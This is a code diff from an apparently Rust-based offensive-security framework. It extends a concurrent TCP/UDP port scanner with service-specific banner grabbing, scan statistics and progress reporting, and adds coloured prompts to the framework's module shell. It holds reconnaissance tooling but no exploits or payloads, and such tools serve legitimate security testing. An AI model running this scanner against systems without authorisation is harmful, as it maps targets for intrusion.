concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n) [n]: ").unwrap_or(false),
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
port_range,
})
}
@@ -44,6 +139,7 @@ pub async fn run_interactive(target: &str) -> Result<()> {
settings.verbose,
settings.scan_udp_enabled,
&settings.output_file,
settings.port_range,
)
.await
}
@@ -58,115 +154,284 @@ pub async fn run_with_settings(
concurrency: usize,
timeout_secs: u64,
show_only_open: bool,
verbose: bool,
_verbose: bool,
scan_udp_enabled: bool,
output_file: &str,
port_range: PortRange,
) -> Result<()> {
// Resolve domain or IP
let start_time = Instant::now();
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
let mut tasks = vec![];
let ports = port_range.get_ports();
let total_ports = ports.len() * (1 + scan_udp_enabled as usize);
let stats = Arc::new(Mutex::new(ScanStats::new()));
let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports)));
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
writeln!(file.lock().unwrap(), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
let timestamp = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
writeln!(file.lock().unwrap(), "Scan started at: {}\n", timestamp)?;
println!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str);
writeln!(file.lock().unwrap(), "Scan Results for {} ({})\n", target, resolved_ip_str)?;
let progress_bar = Arc::new(Mutex::new(ProgressBar::new(65535 * (1 + scan_udp_enabled as usize))));
// TCP Scan loop
println!("[*] Starting TCP scan...");
for port in 1..=65535u16 {
// TCP Scan
println!("{}", "\n[*] Starting TCP scan...".yellow());
let mut tcp_tasks = vec![];
for port in &ports {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let progress_bar = progress_bar.clone();
let stats = stats.clone();
let progress = progress.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
if let Some((status, banner)) = scan_tcp(&ip, port, timeout_secs).await {
let line = format!("[TCP] {}:{} => {}", ip_str, port, status);
if status == "OPEN" || !show_only_open {
if !banner.is_empty() {
let _ = writeln!(file.lock().unwrap(), "{} | Banner: {}", line, banner);
if verbose {
println!("{} | Banner: {}", line, banner);
}
} else {
let _ = writeln!(file.lock().unwrap(), "{}", line);
if verbose {
println!("{}", line);
let result = scan_tcp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some((status, banner, service)) = result {
match status.as_str() {
"OPEN" => {
stats_guard.tcp_open += 1;
let service_name = if service.is_empty() { get_service_name(port) } else { &service };
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
}
let output_line = if !banner.is_empty() {
format!("{} | Banner: {}", line, banner.trim().bright_black())
} else {
line
};
let _ = writeln!(file.lock().unwrap(), "{}", output_line);
println!("{}", output_line);
}
"CLOSED" => stats_guard.tcp_closed += 1,
"TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1,
_ => {}
}
}
progress_bar.lock().unwrap().increment();
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
});
tasks.push(handle);
tcp_tasks.push(handle);
}
// UDP Scan loop
// UDP Scan
let mut udp_tasks = vec![];
if scan_udp_enabled {
println!("[*] Starting UDP scan...");
for port in 1..=65535u16 {
println!("{}", "\n[*] Starting UDP scan...".yellow());
for port in &ports {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let progress_bar = progress_bar.clone();
let stats = stats.clone();
let progress = progress.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
if let Some(status) = scan_udp(&ip, port, timeout_secs).await {
let line = format!("[UDP] {}:{} => {}", ip_str, port, status);
if status == "OPEN" || !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
if verbose {
let result = scan_udp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some(status) = result {
match status.as_str() {
"OPEN" => {
stats_guard.udp_open += 1;
let service_name = get_service_name(port);
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
}
let _ = writeln!(file.lock().unwrap(), "{}", line);
println!("{}", line);
}
"CLOSED" => stats_guard.udp_closed += 1,
"FILTERED" => stats_guard.udp_filtered += 1,
_ => {}
}
}
progress_bar.lock().unwrap().increment();
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
});
tasks.push(handle);
udp_tasks.push(handle);
}
}
// Await all tasks
for task in tasks {
for task in tcp_tasks {
let _ = task.await;
}
for task in udp_tasks {
let _ = task.await;
}
println!("[*] Scan complete. Results saved to {}", output_file);
let elapsed = start_time.elapsed();
let stats = stats.lock().unwrap();
// Print summary
println!("\n{}", "=== Scan Summary ===".cyan().bold());
println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green());
println!("\n{}", "TCP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.tcp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.tcp_closed);
println!(" {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered);
if scan_udp_enabled {
println!("\n{}", "UDP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.udp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.udp_closed);
println!(" {} Filtered: {}", "~".yellow(), stats.udp_filtered);
}
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
// Write summary to file
writeln!(file.lock().unwrap(), "\n=== Scan Summary ===")?;
writeln!(file.lock().unwrap(), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
writeln!(file.lock().unwrap(), "\nTCP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.tcp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.tcp_closed)?;
writeln!(file.lock().unwrap(), " Filtered/Timeout: {}", stats.tcp_filtered)?;
if scan_udp_enabled {
writeln!(file.lock().unwrap(), "\nUDP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.udp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.udp_closed)?;
writeln!(file.lock().unwrap(), " Filtered: {}", stats.udp_filtered)?;
}
Ok(())
}
/// === TCP Port Scanner (Banner Grab) ===
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String)> {
/// === TCP Port Scanner with Enhanced Banner Grabbing ===
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String, String)> {
let addr = SocketAddr::new(*ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await {
Ok(Ok(stream)) => {
let mut buf = [0u8; 1024];
// Try reading immediately if service gives banner (FTP, SMTP, HTTP, etc)
match timeout(Duration::from_secs(2), stream.readable()).await {
Ok(Ok(())) => match stream.try_read(&mut buf) {
Ok(n) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).to_string();
Some(("OPEN".into(), banner))
}
_ => Some(("OPEN".into(), "".into())),
},
_ => Some(("OPEN".into(), "".into())),
}
Ok(Ok(mut stream)) => {
// Try service-specific probes for better banner grabbing
let (banner, service) = grab_banner(&mut stream, port).await;
Some(("OPEN".into(), banner, service))
}
Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into())),
Ok(Err(_)) => Some(("CLOSED".into(), "".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into(), "".into())),
}
}
/// === UDP Port Scanner (Stateless "Fire-and-Forget") ===
/// Enhanced banner grabbing with service-specific probes
async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
let mut buf = [0u8; 2048];
// Try to read initial banner (works for FTP, SMTP, POP3, etc.)
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
_ => {}
}
// Service-specific probes
match port {
80 | 8080 => {
// HTTP probe
if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await {
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let response = String::from_utf8_lossy(&buf[..n]);
if let Some(server) = extract_http_server(&response) {
return (response.trim().to_string(), format!("HTTP ({})", server));
}
return (response.trim().to_string(), "HTTP".into());
}
}
}
}
443 => {
// HTTPS - can't easily probe without TLS, just return empty
return ("".into(), "HTTPS".into());
}
22 => {
// SSH - read SSH banner
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
return (banner, "SSH".into());
}
}
}
_ => {
// Try reading again for other services
if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
}
}
}
("".into(), "".into())
}
fn detect_service_from_banner(banner: &str, port: u16) -> String {
let banner_lower = banner.to_lowercase();
if banner_lower.contains("ssh") {
"SSH".into()
} else if banner_lower.contains("ftp") {
"FTP".into()
} else if banner_lower.contains("smtp") {
"SMTP".into()
} else if banner_lower.contains("pop3") {
"POP3".into()
} else if banner_lower.contains("imap") {
"IMAP".into()
} else if banner_lower.contains("http") {
"HTTP".into()
} else if banner_lower.contains("mysql") {
"MySQL".into()
} else {
get_service_name(port).to_string()
}
}
fn extract_http_server(response: &str) -> Option<String> {
for line in response.lines() {
if line.to_lowercase().starts_with("server:") {
return Some(line.split(':').nth(1).unwrap_or("").trim().to_string());
}
}
None
}
/// === UDP Port Scanner ===
async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<String> {
// We bind to a random UDP port on localhost
let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" };
let sock = match UdpSocket::bind(bind_addr).await {
Ok(s) => s,
@@ -174,14 +439,14 @@ async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option
};
let target = SocketAddr::new(*ip, port);
let payload = b"\x00\x00\x10\x10"; // Random small packet
let payload = b"\x00\x00\x10\x10";
let _ = sock.send_to(payload, target).await;
// Set a timeout: if port is closed, we should get "Connection refused"
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
Ok(Ok((_len, _src))) => Some("OPEN".into()), // Got a response!
Ok(Err(_)) => Some("CLOSED".into()), // ICMP port unreachable
Err(_) => Some("FILTERED".into()), // No response
Ok(Ok((_len, _src))) => Some("OPEN".into()),
Ok(Err(_)) => Some("CLOSED".into()),
Err(_) => Some("FILTERED".into()),
}
}
@@ -189,7 +454,6 @@ async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
// Prefer IPv4, else fallback to first address
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
Ok((addr.ip().to_string(), addr.ip()))
} else if let Some(addr) = addrs.first() {
@@ -201,7 +465,7 @@ fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
/// === Prompt Utilities ===
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
print!("{}", message.cyan().bold());
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
@@ -211,10 +475,13 @@ fn prompt(message: &str) -> Result<String> {
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Ok(false);
}
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Please enter 'y' or 'n'."),
_ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
}
}
}
@@ -222,26 +489,105 @@ fn prompt_bool(message: &str) -> Result<bool> {
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Err(anyhow!("Input required"));
}
if let Ok(n) = input.parse::<usize>() {
return Ok(n);
}
println!("Please enter a valid number.");
println!("{}", "Please enter a valid number.".yellow());
}
}
/// === Progress Bar Struct ===
struct ProgressBar {
total: usize,
current: usize,
/// === Scan Statistics ===
struct ScanStats {
tcp_open: usize,
tcp_closed: usize,
tcp_filtered: usize,
udp_open: usize,
udp_closed: usize,
udp_filtered: usize,
}
impl ProgressBar {
fn new(total: usize) -> Self {
ProgressBar { total, current: 0 }
}
fn increment(&mut self) {
self.current += 1;
if self.current % 1000 == 0 || self.current == self.total {
println!("[*] Progress: {}/{}", self.current, self.total);
impl ScanStats {
fn new() -> Self {
ScanStats {
tcp_open: 0,
tcp_closed: 0,
tcp_filtered: 0,
udp_open: 0,
udp_closed: 0,
udp_filtered: 0,
}
}
}
/// === Progress Tracker ===
struct ProgressTracker {
total: usize,
current: usize,
last_print: usize,
start_time: Option<Instant>,
}
impl ProgressTracker {
fn new(total: usize) -> Self {
ProgressTracker {
total,
current: 0,
last_print: 0,
start_time: None,
}
}
fn increment(&mut self, start_time: &Instant) {
if self.start_time.is_none() {
self.start_time = Some(*start_time);
}
self.current += 1;
}
fn should_print(&self) -> bool {
let diff = self.current - self.last_print;
diff >= 100 || self.current == self.total
}
fn print_progress(&mut self) {
if self.current == 0 {
return;
}
let percentage = (self.current as f64 / self.total as f64) * 100.0;
let elapsed = self.start_time.map(|s| s.elapsed()).unwrap_or_default();
let rate = if elapsed.as_secs() > 0 {
self.current as f64 / elapsed.as_secs() as f64
} else {
0.0
};
let remaining = if rate > 0.0 {
(self.total - self.current) as f64 / rate
} else {
0.0
};
print!("\r{}", format!(
"[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s",
self.current,
self.total,
percentage,
rate,
remaining
).cyan());
io::stdout().flush().unwrap();
if self.current == self.total {
println!();
}
self.last_print = self.current;
}
}
+4 -1
View File
@@ -1,6 +1,8 @@
use anyhow::{Result};
use colored::*;
use regex::Regex;
use std::collections::HashMap;
use std::io::Write;
use std::net::SocketAddr;
use tokio::net::UdpSocket;
use tokio::time::{timeout, Duration};
@@ -67,7 +69,8 @@ fn clean_ipv6_brackets(ip: &str) -> String {
/// Ask user for port (optional), fallback to 1900 if empty
fn prompt_port() -> Option<u16> {
println!("[*] Enter custom port (default 1900): ");
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if let Ok(_) = std::io::stdin().read_line(&mut input) {
let input = input.trim();
+10 -9
View File
@@ -1,6 +1,7 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use colored::*;
use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
use std::env;
use std::io::{self, Write};
@@ -32,7 +33,7 @@ pub async fn interactive_shell() -> Result<()> {
let mut ctx = ShellContext::new();
loop {
print!("rsf> ");
print!("{}", "rsf> ".cyan().bold());
io::stdout().flush()?;
let mut input = String::new();
@@ -67,7 +68,7 @@ pub async fn interactive_shell() -> Result<()> {
cmd if cmd.starts_with("find ") => {
let keyword = cmd.trim_start_matches("find ").trim();
if keyword.is_empty() {
println!("Usage: find <keyword>");
println!("{}", "Usage: find <keyword>".yellow());
} else {
utils::find_modules(keyword);
}
@@ -108,18 +109,18 @@ pub async fn interactive_shell() -> Result<()> {
let module_path = cmd.trim_start_matches("use ").trim();
if utils::module_exists(module_path) {
ctx.current_module = Some(module_path.to_string());
println!("Module '{}' selected.", module_path);
println!("{}", format!("Module '{}' selected.", module_path).green());
} else {
println!("Module '{}' not found.", module_path);
println!("{}", format!("Module '{}' not found.", module_path).red());
}
},
cmd if cmd.starts_with("set ") => {
let parts: Vec<&str> = cmd.split_whitespace().collect();
if parts.len() >= 3 && parts[1] == "target" {
ctx.current_target = Some(parts[2].to_string());
println!("Target set to {}", parts[2]);
println!("{}", format!("Target set to {}", parts[2]).green());
} else {
println!("Usage: set target <value>");
println!("{}", "Usage: set target <value>".yellow());
}
},
"run" => {
@@ -171,14 +172,14 @@ pub async fn interactive_shell() -> Result<()> {
}
}
} else {
println!("No target set. Use 'set target <value>' first.");
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
}
} else {
println!("No module selected. Use 'use <module>' first.");
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
}
},
_ => {
println!("Unknown command: '{}'. Type 'help' for usage.", input);
println!("{}", format!("Unknown command: '{}'. Type 'help' for usage.", input).red());
},
}
}
+1
View File
@@ -0,0 +1 @@